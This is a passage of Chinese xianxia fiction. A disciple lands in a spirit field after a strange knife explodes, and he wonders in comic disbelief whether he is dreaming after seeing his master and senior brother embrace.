这人行事向来干脆利落,鲜少犹豫,虽说还没有答复,但如此反应,已是回答。 杜衡垂下眼,竟有种早知如此的感觉,一时间说不上是失望还是了然,“是我说笑了。你连日奔波,如今回来了便好好休息吧。” “……等等!”银发擦肩而过,严文洲立刻伸手拦人,“阿衡,你……”话没说完,禁制猛一闪烁,而后轰然破碎! 两人神色骤变,立刻朝殿外掠去。 距离主殿十来丈处,黄时雨茫茫然躺在灵田里,身下是湿润土壤,面前是清澈天穹,哪里都很正常,唯独自己今天很倒霉。 师兄和师尊,怎么抱在一起了呢? 退一万步,即便抱在了一起,为什么自己就非要在哪个时候进去呢? 再退一万步,为什么,一柄平平无奇的刀,还能爆炸呢? 炸就炸了,为什么非要炸自己这个修为倒数第二的呢? 难不成,今天到目前为止,都是自己还没醒? 可如果是梦,自己为什么会梦到这种东西!? …… 刚码好的贺礼已成飞灰,大半灵田荡然无存,好在黄时雨还活着。 甚至没受什么伤。 一见二人过去,他猛地一翻身,脸朝下趴在了地里,“这是梦,对不对?” “……不是。”